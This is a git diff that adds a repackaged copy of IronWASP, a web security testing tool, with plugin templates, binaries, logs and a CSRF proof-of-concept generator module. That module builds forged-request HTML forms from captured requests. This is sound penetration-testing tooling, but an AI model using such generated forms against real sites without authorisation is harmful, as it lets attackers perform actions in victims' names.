= "Short Description of the Plugin, displayed in the Plugins section" +FormatPlugin.Add(p) diff --git a/NewPythonPassivePluginTemplate.txt b/NewPythonPassivePluginTemplate.txt new file mode 100644 index 0000000..679e738 --- /dev/null +++ b/NewPythonPassivePluginTemplate.txt @@ -0,0 +1,19 @@ +from IronWASP import * +from System import * +import clr + +#Inherit from the base PassivePlugin class +class (PassivePlugin): + + #Override the Check method of the base class with custom functionlity + def Check(self, sess, results): + + +p = () +p.Name = "Name of the Plugin inside Iron. Pick one without spaces and special characters like 'CreditCardScraper', 'SetCookieAnalyzer' etc. Name must be unique across all plugins" +p.Description = "Short Description of the Plugin, displayed in the Plugins section" +#When should this plugin be called. Possible values - BeforeInterception, AfterInterception, Both, Offline. Offline is the default value, it is also the recommended value if you are not going to perform any changes in the Request/Response +#p.CallingState = PluginCallingState.BeforeInterception +#On what should this plugin run. Possible values - Request, Response, Both +p.WorksOn = PluginWorksOn.Response +PassivePlugin.Add(p) diff --git a/NewPythonScriptTemplate.txt b/NewPythonScriptTemplate.txt new file mode 100644 index 0000000..6ffca1d --- /dev/null +++ b/NewPythonScriptTemplate.txt @@ -0,0 +1,4 @@ +from IronWASP import * +from System import * +import clr + diff --git a/NewPythonSessionPluginTemplate.txt b/NewPythonSessionPluginTemplate.txt new file mode 100644 index 0000000..724f82b --- /dev/null +++ b/NewPythonSessionPluginTemplate.txt @@ -0,0 +1,28 @@ +from IronWASP import * +from System import * +import clr +#Inherit from the base SessionPlugin class +class (SessionPlugin): + + #Override the Update method with custom code to check the validity of the Request/Response and update the Request. Returns Request + def Update(self, req, res): + req.SetCookie(res) + return req + + #Override the ProcessInjection method to update the Payload before it is injected. Returns String + def ProcessInjection(self, scnr, req, payload): + return payload + + #Override the PrepareForInjection method to make changes to the request or perform other steps before injecting. Returns Request + def PrepareForInjection(self, req): + return req + + #Override the GetInterestingResponse method to perform customs actions after the injection is done. Returns Response + def GetInterestingResponse(self, req, res): + return res + + +p = () +p.Name = "Name of the Plugin inside Iron. Pick a short name without spaces and special characters like 'AuthHandler', 'CsrfUpdater' etc. Name must be unique across all plugins" +p.Description = "Short Description of the Plugin, displayed in the Plugins section" +SessionPlugin.Add(p) diff --git a/NewRubyActivePluginTemplate.txt b/NewRubyActivePluginTemplate.txt new file mode 100644 index 0000000..b941d6c --- /dev/null +++ b/NewRubyActivePluginTemplate.txt @@ -0,0 +1,15 @@ +include IronWASP + +#Inherit from the base ActivePlugin class +class < ActivePlugin + + #Override the Check method of the base class with custom functionlity + def Check(req, scnr) + + end +end + +p = .new +p.name = "Name of the Plugin inside Iron. Pick a short name without spaces and special characters like 'XSS', 'SQLi' etc. Name must be unique across all plugins" +p.description = "Short Description of the Plugin, displayed in the Plugins section" +ActivePlugin.add(p) diff --git a/NewRubyFormatPluginTemplate.txt b/NewRubyFormatPluginTemplate.txt new file mode 100644 index 0000000..6893f65 --- /dev/null +++ b/NewRubyFormatPluginTemplate.txt @@ -0,0 +1,42 @@ +include IronWASP + +#Inherit from the base FormatPlugin class +class < FormatPlugin + + #Override the ToXmlFromRequest method of the base class with custom functionlity. Convert RequestBody in to Xml String and return it + def ToXmlFromRequest(req) + return ToXml(req.body_array) + end + + #Override the ToXmlFromResponse method of the base class with custom functionlity. Convert ResponseBody in to Xml String and return it + def ToXmlFromResponse(res) + return ToXml(res.body_array) + end + + #Override the ToXml method of the base class with custom functionlity. Convert ByteArray in to Xml String and return it + def ToXml(object_array) + + end + + #Override the ToRequestFromXml method of the base class with custom functionlity. Update Request based on Xml String input and return it + def ToRequestFromXml(req, xml) + req.body_array = ToObject(xml) + return req + end + + #Override the ToResponseFromXml method of the base class with custom functionlity. Update Response based on Xml String input and return it + def ToResponseFromXml(res, xml) + res.body_array = ToObject(xml) + return res + end + + #Override the ToObject method of the base class with custom functionlity. Convert the XmlString in to an Object and return it as ByteArray + def ToObject(xml_string) + + end +end + +p = .new +p.name = "Name of the Plugin inside Iron. Pick a short name without spaces and special characters like 'DoublePipeSeperator','CustomResponseBody' etc. Name must be unique across all plugins" +p.description = "Short Description of the Plugin, displayed in the Plugins section" +FormatPlugin.add(p) diff --git a/NewRubyPassivePluginTemplate.txt b/NewRubyPassivePluginTemplate.txt new file mode 100644 index 0000000..7cfbfdd --- /dev/null +++ b/NewRubyPassivePluginTemplate.txt @@ -0,0 +1,19 @@ +include IronWASP + +#Inherit from the base PassivePlugin class +class < PassivePlugin + + #Override the Check method of the base class with custom functionality + def Check(sess, results) + + end +end + +p = .new +p.name = "Name of the Plugin inside Iron. Pick one without spaces and special characters like 'CreditCardScraper', 'SetCookieAnalyzer' etc. Name must be unique across all plugins" +p.description = "Short Description of the Plugin, displayed in the Plugins section" +#When should this plugin be called. Possible values - before_interception, after_interception, both +#p.calling_state = PluginCallingState.before_interception +#On what should this plugin run. Possible values - request, response, both, offline. offline is the default value, it is also the recommended value if you are not going to perform any changes in the request/response +p.works_on = PluginWorksOn.response +PassivePlugin.add(p) diff --git a/NewRubyScriptTemplate.txt b/NewRubyScriptTemplate.txt new file mode 100644 index 0000000..b691303 --- /dev/null +++ b/NewRubyScriptTemplate.txt @@ -0,0 +1,2 @@ +include IronWASP + diff --git a/NewRubySessionPluginTemplate.txt b/NewRubySessionPluginTemplate.txt new file mode 100644 index 0000000..726b044 --- /dev/null +++ b/NewRubySessionPluginTemplate.txt @@ -0,0 +1,32 @@ +include IronWASP + +#Inherit from the base SessionPlugin class +class < SessionPlugin + + #Override the Update method with custom code to check the validity of the Request/Response and update the Request. Returns Request + def Update(req, res) + req.set_cookie(res) + return req + end + + #Override the PrepareForInjection method to make changes to the request or perform other steps before injecting. Returns Request + def PrepareForInjection(req) + return req + end + + #Override the ProcessInjection method to update the Payload before it is injected. Returns String + def ProcessInjection(scnr, req, payload) + return payload + end + + #Override the GetInterestingResponse method to perform customs actions after the injection is done. Returns Response + def GetInterestingResponse(req, res) + return res + end + +end + +p = .new +p.name = "Name of the Plugin inside Iron. Pick a short name without spaces and special characters like 'AuthHandler', 'CsrfUpdater' etc. Name must be unique across all plugins" +p.description = "Short Description of the Plugin, displayed in the Plugins section" +SessionPlugin.add(p) diff --git a/Newtonsoft.Json.Net20.dll b/Newtonsoft.Json.Net20.dll new file mode 100644 index 0000000..6f199d6 Binary files /dev/null and b/Newtonsoft.Json.Net20.dll differ diff --git a/Python.xshd b/Python.xshd new file mode 100644 index 0000000..f73c951 --- /dev/null +++ b/Python.xshd @@ -0,0 +1,124 @@ + + + + + + + + + + + + ()[]{}@,:.`=;+-*/% &|^>< + + + """ + """ + + + + ''' + ''' + + + + # + + + + " + " + + + + ' + ' + + + ( + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..580dbf4 --- /dev/null +++ b/README.md @@ -0,0 +1,55 @@ +# IronWASP [Iron Web-application Advanced Security testing Platform] + +[![ForTheBadge built-with-love](http://ForTheBadge.com/images/badges/built-with-love.svg)](https://GitHub.com/lavakumar/)
+![Views](https://hits.seeyoufarm.com/api/count/incr/badge.svg?url=https://github.com/swatv3nub/IronWASP&title=Profile%20Views) + + +✘ Points Mentioned + 1. [What is IronWASP](https://github.com/swatv3nub/IronWASP/blob/Alpha/README.md/#About) + 2. [Demo App](https://github.com/swatv3nub/IronWASP/blob/Alpha/README.md/#DemoApp) + 3. [Plugins](https://github.com/swatv3nub/IronWASP/blob/Alpha/README.md/#Plugins) + 4. [More Details](https://github.com/swatv3nub/IronWASP/blob/Alpha/README.md/#MoreDetails) + 5. [Credits](https://github.com/swatv3nub/IronWASP/blob/Alpha/README.md/#Credits) + + + # About + + IronWASP is an Open Source and Open Architecure Project designed for Advanced Web Security Testing + + By downloading IronWASP you have taken the first step towards making your Web Security testing process more efficient. + + Simply double-click the file named IronWASP.exe to get started. + + IronWASP DOES NOT require installation or administrative rights to work. + +**IMPORTANT: Please read COPYRIGHT.txt before using the software.** + +# DemoApp + + There is a DemoApp application available that can be used for testing some of the features of IronWASP. + The DemoApp can be started by executing DemoApp.exe. + +# Plugins + +## SessionPlugins + + The Session Plugins packaged with IronWASP are desgined for the DemoApp, + they can be used as reference for creating your own Session Plugins. + +## Active, Passive and Format Plugins + + Active, Passive and Format Plugins packaged with IronWASP are desgined for main IronWASP. + You can use them to create your own plugs + +``` + [NEW PLUGINS WILL BE ADDED SOON] +``` + +# MoreDetails + + For more details check the 'About' section in the menu inside IronWASP. + +# Credits + + This Application belongs to [Lavakumar](https://github.com/lavakumar), I just Repacked and Redistributed it + I have no developer rights in this. \ No newline at end of file diff --git a/README.txt b/README.txt new file mode 100644 index 0000000..e69de29 diff --git a/RenderHtml.exe b/RenderHtml.exe new file mode 100644 index 0000000..6b48c8e Binary files /dev/null and b/RenderHtml.exe differ diff --git a/Ruby.xshd b/Ruby.xshd new file mode 100644 index 0000000..49a9ddb --- /dev/null +++ b/Ruby.xshd @@ -0,0 +1,193 @@ + + + + + + + + + + + + ()[]{}@,:.`=;+-*/%~ &|^>< + + + ' + ' + + + + """ + """ + + + + =begin + =end + + + + # + + + + " + " + + + ( + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/SyntaxModes.xml b/SyntaxModes.xml new file mode 100644 index 0000000..8002656 --- /dev/null +++ b/SyntaxModes.xml @@ -0,0 +1,8 @@ + + + + diff --git a/System.Data.SQLite.DLL b/System.Data.SQLite.DLL new file mode 100644 index 0000000..aa398bb Binary files /dev/null and b/System.Data.SQLite.DLL differ diff --git a/TestSSLServer.dll b/TestSSLServer.dll new file mode 100644 index 0000000..7dfb781 Binary files /dev/null and b/TestSSLServer.dll differ diff --git a/Updater.exe b/Updater.exe new file mode 100644 index 0000000..87f3eb1 Binary files /dev/null and b/Updater.exe differ diff --git a/app.db b/app.db new file mode 100644 index 0000000..4bbeae0 Binary files /dev/null and b/app.db differ diff --git a/host.db.sqlite b/host.db.sqlite new file mode 100644 index 0000000..e69de29 diff --git a/jsbeautifylib.dll b/jsbeautifylib.dll new file mode 100644 index 0000000..b8b4dea Binary files /dev/null and b/jsbeautifylib.dll differ diff --git a/log/2021_Jan_4__16_59_44_PM/CommandLog.txt b/log/2021_Jan_4__16_59_44_PM/CommandLog.txt new file mode 100644 index 0000000..b63c446 --- /dev/null +++ b/log/2021_Jan_4__16_59_44_PM/CommandLog.txt @@ -0,0 +1,10 @@ +Object +Object +Object +Object +Object +Object + +123 + + diff --git a/log/2021_Jan_4__16_59_44_PM/Exceptions.ironlog b/log/2021_Jan_4__16_59_44_PM/Exceptions.ironlog new file mode 100644 index 0000000..923abc3 Binary files /dev/null and b/log/2021_Jan_4__16_59_44_PM/Exceptions.ironlog differ diff --git a/log/2021_Jan_4__16_59_44_PM/Probes.ironlog b/log/2021_Jan_4__16_59_44_PM/Probes.ironlog new file mode 100644 index 0000000..2b5cb6d Binary files /dev/null and b/log/2021_Jan_4__16_59_44_PM/Probes.ironlog differ diff --git a/log/2021_Jan_4__16_59_44_PM/Project.iron b/log/2021_Jan_4__16_59_44_PM/Project.iron new file mode 100644 index 0000000..0abf937 Binary files /dev/null and b/log/2021_Jan_4__16_59_44_PM/Project.iron differ diff --git a/log/2021_Jan_4__16_59_44_PM/Proxy.ironlog b/log/2021_Jan_4__16_59_44_PM/Proxy.ironlog new file mode 100644 index 0000000..8b0313d Binary files /dev/null and b/log/2021_Jan_4__16_59_44_PM/Proxy.ironlog differ diff --git a/log/2021_Jan_4__16_59_44_PM/Results.ironlog b/log/2021_Jan_4__16_59_44_PM/Results.ironlog new file mode 100644 index 0000000..880cb87 Binary files /dev/null and b/log/2021_Jan_4__16_59_44_PM/Results.ironlog differ diff --git a/log/2021_Jan_4__16_59_44_PM/Scan.ironlog b/log/2021_Jan_4__16_59_44_PM/Scan.ironlog new file mode 100644 index 0000000..caca019 Binary files /dev/null and b/log/2021_Jan_4__16_59_44_PM/Scan.ironlog differ diff --git a/log/2021_Jan_4__16_59_44_PM/Shell.ironlog b/log/2021_Jan_4__16_59_44_PM/Shell.ironlog new file mode 100644 index 0000000..efe29d3 Binary files /dev/null and b/log/2021_Jan_4__16_59_44_PM/Shell.ironlog differ diff --git a/log/2021_Jan_4__16_59_44_PM/Test.ironlog b/log/2021_Jan_4__16_59_44_PM/Test.ironlog new file mode 100644 index 0000000..40f478b Binary files /dev/null and b/log/2021_Jan_4__16_59_44_PM/Test.ironlog differ diff --git a/log/2021_Jan_4__16_59_44_PM/Trace.ironlog b/log/2021_Jan_4__16_59_44_PM/Trace.ironlog new file mode 100644 index 0000000..166cd6e Binary files /dev/null and b/log/2021_Jan_4__16_59_44_PM/Trace.ironlog differ diff --git a/log/2021_Jan_9__16_49_00_PM/CommandLog.txt b/log/2021_Jan_9__16_49_00_PM/CommandLog.txt new file mode 100644 index 0000000..b63c446 --- /dev/null +++ b/log/2021_Jan_9__16_49_00_PM/CommandLog.txt @@ -0,0 +1,10 @@ +Object +Object +Object +Object +Object +Object + +123 + + diff --git a/log/2021_Jan_9__16_49_00_PM/Exceptions.ironlog b/log/2021_Jan_9__16_49_00_PM/Exceptions.ironlog new file mode 100644 index 0000000..923abc3 Binary files /dev/null and b/log/2021_Jan_9__16_49_00_PM/Exceptions.ironlog differ diff --git a/log/2021_Jan_9__16_49_00_PM/Probes.ironlog b/log/2021_Jan_9__16_49_00_PM/Probes.ironlog new file mode 100644 index 0000000..2b5cb6d Binary files /dev/null and b/log/2021_Jan_9__16_49_00_PM/Probes.ironlog differ diff --git a/log/2021_Jan_9__16_49_00_PM/Project.iron b/log/2021_Jan_9__16_49_00_PM/Project.iron new file mode 100644 index 0000000..0abf937 Binary files /dev/null and b/log/2021_Jan_9__16_49_00_PM/Project.iron differ diff --git a/log/2021_Jan_9__16_49_00_PM/Proxy.ironlog b/log/2021_Jan_9__16_49_00_PM/Proxy.ironlog new file mode 100644 index 0000000..8b0313d Binary files /dev/null and b/log/2021_Jan_9__16_49_00_PM/Proxy.ironlog differ diff --git a/log/2021_Jan_9__16_49_00_PM/Results.ironlog b/log/2021_Jan_9__16_49_00_PM/Results.ironlog new file mode 100644 index 0000000..880cb87 Binary files /dev/null and b/log/2021_Jan_9__16_49_00_PM/Results.ironlog differ diff --git a/log/2021_Jan_9__16_49_00_PM/Scan.ironlog b/log/2021_Jan_9__16_49_00_PM/Scan.ironlog new file mode 100644 index 0000000..caca019 Binary files /dev/null and b/log/2021_Jan_9__16_49_00_PM/Scan.ironlog differ diff --git a/log/2021_Jan_9__16_49_00_PM/Shell.ironlog b/log/2021_Jan_9__16_49_00_PM/Shell.ironlog new file mode 100644 index 0000000..efe29d3 Binary files /dev/null and b/log/2021_Jan_9__16_49_00_PM/Shell.ironlog differ diff --git a/log/2021_Jan_9__16_49_00_PM/Test.ironlog b/log/2021_Jan_9__16_49_00_PM/Test.ironlog new file mode 100644 index 0000000..40f478b Binary files /dev/null and b/log/2021_Jan_9__16_49_00_PM/Test.ironlog differ diff --git a/log/2021_Jan_9__16_49_00_PM/Trace.ironlog b/log/2021_Jan_9__16_49_00_PM/Trace.ironlog new file mode 100644 index 0000000..166cd6e Binary files /dev/null and b/log/2021_Jan_9__16_49_00_PM/Trace.ironlog differ diff --git a/makecert.exe b/makecert.exe new file mode 100644 index 0000000..fded32c Binary files /dev/null and b/makecert.exe differ diff --git a/modules/BodySaver/BodySaver.dll b/modules/BodySaver/BodySaver.dll new file mode 100644 index 0000000..e837a39 Binary files /dev/null and b/modules/BodySaver/BodySaver.dll differ diff --git a/modules/CSRFPOCGenerator/CSRFPOCGenerator.py b/modules/CSRFPOCGenerator/CSRFPOCGenerator.py new file mode 100644 index 0000000..ae56596 --- /dev/null +++ b/modules/CSRFPOCGenerator/CSRFPOCGenerator.py @@ -0,0 +1,156 @@ +from IronWASP import * + +class CSRFPOCGenerator(Module): + + def GetInstance(self): + m = CSRFPOCGenerator() + m.Name = "CSRFPOCGenerator" + return m + + + def StartModuleOnSession(self,sess): + Tools.Trace("POC","StartModuleOnSession method called") + self.start_ui() + r = sess.Request + html = "\n\n" + html = html + " \n\n" + html = html + "
\n" + + if r.Method == "GET": + for name in r.Query.GetNames(): + html = html + '\n' + + elif r.Method == "POST": + #check for Json + if Tools.IsJson(r.BodyString): + html = html + '\n' + #If Xml Request + elif Tools.IsXml(r.BodyString): + body_str = r.BodyString + count = 0 + html = html + '') + Tools.HtmlEncode(body_str) + '" ' + else: + substr1 = body_str[0:count] + substr2 = body_str[count+1:len(body_str)] + html = html + 'name="' + Tools.HtmlEncode(substr1) + '" ' + html = html + 'value=' + '"' + Tools.HtmlEncode(substr2) + '" ' + html = html + 'type=hidden ' + html = html + '>\n' + #If normal POST request + else: + for name in r.Body.GetNames(): + html = html + '\n' + html = html + "\n" + html = html + "" + # Save the File + f_html = open(Config.Path + '\\modules\\CSRFPOCGenerator\\POC.html','w') + f_html. write(html) + f_html.close() + self.ui.ModControls['result'].SetText(html) + + def start_ui(self): + Tools.Trace("POC","start_ui method called") + self.thread_id = 0 + ui = ModUi() + ui.Size = ModUiTools.GetSizeDefinition(701,610) + ui.Text = Tools.Base64Decode('Q1NSRiBQb0MgR2VuZXJhdG9y') + mod_label_1 = ModLabel() + mod_label_1.Name = 'mod_label_1' + mod_label_1.Size = ModUiTools.GetSizeDefinition(172,23) + mod_label_1.Location = ModUiTools.GetLocationDefinition(21,76) + mod_label_1.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_1.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_1.Enabled = True + mod_label_1.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_1.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_1.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_1.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_1.Text = Tools.Base64Decode('Q1NSRiBQb0MgY29kZSBpcyBwcmVzZW50IGJlbG93') + ui.Controls.Add(mod_label_1) + ui.ModControls['mod_label_1'] = mod_label_1 + result = ModRichTextBox() + result.Name = 'result' + result.Size = ModUiTools.GetSizeDefinition(652,455) + result.Location = ModUiTools.GetLocationDefinition(21,105) + result.Anchor = ModUiTools.GetAnchorStyleDefinition(True,True,True,True) + result.Dock = ModUiTools.GetDockStyleDefinition('None') + result.Enabled = True + result.BackColor = ModUiTools.GetColorDefinition(-1) + result.ForeColor = ModUiTools.GetColorDefinition(-16777216) + result.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + result.ReadOnly = False + result.ScrollBars = ModUiTools.GetRichTextBoxScrollBarsDefinition('Both') + result.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + result.Multiline = True + result.WordWrap = True + result.DetectUrls = True + ui.Controls.Add(result) + ui.ModControls['result'] = result + file_location = ModTextBox() + file_location.Name = 'file_location' + file_location.Size = ModUiTools.GetSizeDefinition(448,20) + file_location.Location = ModUiTools.GetLocationDefinition(187,19) + file_location.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + file_location.Dock = ModUiTools.GetDockStyleDefinition('None') + file_location.Enabled = True + file_location.BackColor = ModUiTools.GetColorDefinition(-1) + file_location.ForeColor = ModUiTools.GetColorDefinition(-16777216) + file_location.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + file_location.ReadOnly = False + file_location.ScrollBars = ModUiTools.GetScrollBarsDefinition('None') + file_location.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + file_location.Multiline = False + file_location.WordWrap = True + file_location.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + file_location.Text = Config.Path + '\\modules\\CSRFPOCGenerator\\POC.html' + ui.Controls.Add(file_location) + ui.ModControls['file_location'] = file_location + mod_label_2 = ModLabel() + mod_label_2.Name = 'mod_label_2' + mod_label_2.Size = ModUiTools.GetSizeDefinition(172,23) + mod_label_2.Location = ModUiTools.GetLocationDefinition(21,19) + mod_label_2.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_2.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_2.Enabled = True + mod_label_2.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_2.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_2.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_2.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_2.Text = Tools.Base64Decode('UG9DIGNvZGUgYmVsb3cgaXMgc2F2ZWQgYXQgLT4g') + ui.Controls.Add(mod_label_2) + ui.ModControls['mod_label_2'] = mod_label_2 + ui.ShowUi() + + self.ui = ui + +m = CSRFPOCGenerator() +Module.Add(m.GetInstance()) \ No newline at end of file diff --git a/modules/HAWAS/HAWAS.py b/modules/HAWAS/HAWAS.py new file mode 100644 index 0000000..ecdd68c --- /dev/null +++ b/modules/HAWAS/HAWAS.py @@ -0,0 +1,1313 @@ +from IronWASP import * +from HAWASCore import LogReader +from HAWASCore import Structures +from HAWASCore import HawasConfig + +class HAWAS(Module): + + #Override the GetInstance method of the base class to return a new instance with details + def GetInstance(self): + m = HAWAS() + m.Name = "HAWAS" + return m + + def StartModule(self): + self.start_ui() + + def start_ui(self): + self.thread_id = 0 + ui = ModUi() + ui.Size = ModUiTools.GetSizeDefinition(900,600) + ui.Text = Tools.Base64Decode('SEFXQVMgLSBIeWJyaWQgQW5hbHl6ZXIgZm9yIFdlYiBBcHBsaWNhdGlvbiBTZWN1cml0eQ==') + ui.Icon = ModUiTools.GetIconDefinition('AAABAAIAEBAAAAAAIABoBAAAJgAAACAgAAAAACAAqBAAAI4EAAAoAAAAEAAAACAAAAABACAAAAAAAEAEAAAAAAAAAAAAAAAAAAAAAAAA//////////////////////n5+f/IyMj/gYGB/2hoaP9oaGj/fX19/8DAwP/29vb//////////////////////////////////////9DQ0P9HR0f/VFRU/5ycnP/ExMT/xMTE/6Wlpf9aWlr/Pz8//8DAwP///////////////////////////7Gxsf8QEBD/n5+f//z8/P///////////////////////f39/8bGxv8JCQn/np6e/////////////////9DQ0P8xMTH/ERER/5aWlv/////////////////////////////////MzMz/BQUF/zIyMv+9vb3///////n5+f9HR0f/ubm5/ysrK/96enr/////////////////////////////////l5eX/yQkJP/IyMj/Pz8///Ly8v/Jycn/VVVV//r6+v9CQkL/VlZW/////////////////////////////////25ubv9ERET//Pz8/2VlZf+wsLD/hISE/5ycnP//////VlZW/zU1Nf/8/Pz//Pz8//z8/P/8/Pz//Pz8//z8/P88PDz/ampq//////+4uLj/bW1t/2hoaP/ExMT//////35+fv8GBgb/Pz8//z8/P/8/Pz//Pz8//z8/P/8/Pz//BgYG/5ubm///////zs7O/19fX/9oaGj/xMTE//////+fn5//AQEB/xUVFf8XFxf/FxcX/xcXF/8XFxf/ExMT/wQEBP+8vLz//////8/Pz/9hYWH/f39//6SkpP//////tbW1/wgICP/Dw8P/+vr6//r6+v/6+vr/+vr6/6urq/8SEhL/4eHh//////++vr7/aGho/8LCwv9XV1f//f39/9XV1f8NDQ3/qqqq//////////////////////+EhIT/Gxsb//z8/P/+/v7/cHBw/6mpqf/29vb/Pj4+/9LS0v/t7e3/FBQU/5CQkP/////////////////+/v7/UVFR/01NTf//////5OTk/zo6Ov/v7+///////8PDw/89PT3/6enp/xwcHP9mZmb/////////////////9fX1/zExMf93d3f/8vLy/0xMTP+qqqr/////////////////n5+f/0FBQf8pKSn/RkZG//39/f///////////+Li4v8RERH/iYmJ/0xMTP+Wlpb//v7+///////////////////////AwMD/MjIy/yQkJP+3t7f/zMzM/8zMzP+hoaH/AAAA/y0tLf+qqqr//v7+//////////////////////////////////Ly8v+ysrL/bW1t/19fX/9eXl7/a2tr/6mpqf/v7+///////////////////////wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8oAAAAIAAAAEAAAAABACAAAAAAAIAQAAAAAAAAAAAAAAAAAAAAAAAA///////////////////////////////////////////////////////////09PT/4uLi/9XV1f/R0dH/0dHR/9HR0f/R0dH/0tLS/+Hh4f/x8fH//f39///////////////////////////////////////////////////////////////////////////////////////////////////////n5+f/rq6u/35+fv8+Pj7/Dw8P/wAAAP8AAAD/AAAA/wAAAP8FBQX/Ojo6/3Nzc/+goKD/3Nzc///////////////////////////////////////////////////////////////////////////////////////6+vr/oqKi/1dXV/8ODg7/ERER/z4+Pv9ra2v/iYmJ/4mJif+JiYn/iYmJ/3R0dP9OTk7/Gxsb/wQEBP9JSUn/kJCQ/+jo6P//////////////////////////////////////////////////////////////////////29vb/2xsbP8XFxf/DAwM/3Fxcf/AwMD/19fX/+/v7///////////////////////9PT0/+Dg4P/FxcX/g4OD/xYWFv8ODg7/UlJS/8nJyf///////////////////////////////////////////////////////v7+/8zMzP88PDz/BQUF/zIyMv/i4uL/9fX1///////////////////////////////////////////////////////39/f/5eXl/2dnZ/8EBAT/Gxsb/7q6uv/9/f3////////////////////////////////////////////MzMz/Ly8v/wAAAP8AAAD/bW1t//v7+//////////////////////////////////////////////////////////////////+/v7/y8vL/wcHB/8AAAD/CAgI/7i4uP//////////////////////////////////////29vb/z09Pf8LCwv/EBAQ/wAAAP9ISEj/+vr6//////////////////////////////////////////////////////////////////7+/v+2trb/AAAA/wAAAP8QEBD/HBwc/8jIyP////////////////////////////r6+v9sbGz/Dg4O/21tbf80NDT/AAAA/x8fH//39/f//////////////////////////////////////////////////////////////////Pz8/4GBgf8AAAD/FhYW/4uLi/8QEBD/TU1N/+Dg4P//////////////////////oqKi/xcXF/9DQ0P/19fX/1FRUf8AAAD/CQkJ//f39//////////////////////////////////////////////////////////////////6+vr/TU1N/wAAAP82Njb/1tbW/3t7e/8JCQn/h4eH/////////////////+fn5/9YWFj/DAwM/+Li4v/n5+f/XFxc/wAAAP8AAAD/5+fn//////////////////////////////////////////////////////////////////j4+P8cHBz/AAAA/1paWv/m5ub/6urq/zY2Nv80NDT/zMzM////////////srKy/xMTE/9xcXH/9fX1//j4+P+AgID/AAAA/wAAAP/IyMj/////////////////////////////////////////////////////////////////8vLy/wEBAf8AAAD/g4OD//n5+f/6+vr/m5ub/wMDA/+SkpL/+vr6//T09P9+fn7/ERER/8DAwP///////Pz8/4mJif8AAAD/AAAA/5GRkf/////////////////////////////////////////////////////////////////Hx8f/AAAA/wAAAP+NjY3//v7+///////MzMz/KCgo/09PT//n5+f/4uLi/z09Pf8+Pj7/19fX////////////j4+P/wAAAP8AAAD/cnJy/////////////////////////////////////////////////////////////////4+Pj/8AAAD/FRUV/6enp////////////+/v7/9ra2v/Dw8P/9XV1f/Y2Nj/Ghoa/2tra//v7+////////////+urq7/Ghoa/wAAAP9hYWH/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/Y2Nj/wAAAP8sLCz/wcHB/////////////v7+/4iIiP8AAAD/z8/P/9HR0f8AAAD/iYmJ/////////////////8DAwP8qKir/AAAA/xgYGP9/f3//fn5+/35+fv9+fn7/fn5+/35+fv9+fn7/fn5+/35+fv9+fn7/fn5+/39/f/8YGBj/AAAA/0NDQ//c3Nz/////////////////mZmZ/wwMDP+tra3/0dHR/wAAAP+JiYn/////////////////09PT/zs7O/8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/WVlZ//T09P////////////////+hoaH/ExMT/7Gxsf/R0dH/AAAA/4mJif/////////////////j4+P/SUlJ/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP9kZGT//////////////////////6Ojo/8UFBT/sbGx/9HR0f8AAAD/iYmJ//////////////////b29v9aWlr/AAAA/wQEBP8iIiL/MTEx/y8vL/8vLy//Ly8v/y8vL/8vLy//Ly8v/y8vL/8vLy//MjIy/xsbG/8CAgL/Dw8P/4+Pj///////////////////////m5ub/w4ODv+vr6//1dXV/w8PD/91dXX/9PT0/////////////v7+/2VlZf8BAQH/EBAQ/5ubm//19fX/9fX1//X19f/19fX/9fX1//X19f/19fX/9fX1//X19f/09PT/cnJy/wcHB/8aGhr/srKy//////////////////////+Kior/AAAA/8HBwf/g4OD/Nzc3/0lJSf/d3d3/////////////////dHR0/wYGBv8JCQn/fX19//////////////////////////////////////////////////f39/9PT0//AAAA/yYmJv/V1dX/////////////////9/f3/3p6ev8LCwv/1NTU//Hx8f9zc3P/EhIS/8DAwP////////////////+fn5//FBQU/wQEBP9lZWX/+/v7////////////////////////////////////////////4+Pj/0JCQv8AAAD/MTEx//X19f/////////////////V1dX/OTk5/z4+Pv/i4uL//f39/6ampv8MDAz/gICA//f39////////////7e3t/8cHBz/AAAA/1BQUP/4+Pj////////////////////////////////////////////BwcH/Kioq/wAAAP89PT3//f39/////////////f39/62trf8HBwf/i4uL//j4+P//////3Nzc/0lJSf8PDw//5OTk////////////yMjI/yIiIv8AAAD/SkpK/+/v7////////////////////////////////////////v7+/6SkpP8XFxf/AgIC/4GBgf/////////////////s7Oz/PT09/ygoKP/CwsL/////////////////kpKS/w4ODv9ra2v/+fn5///////u7u7/Li4u/wAAAP81NTX/0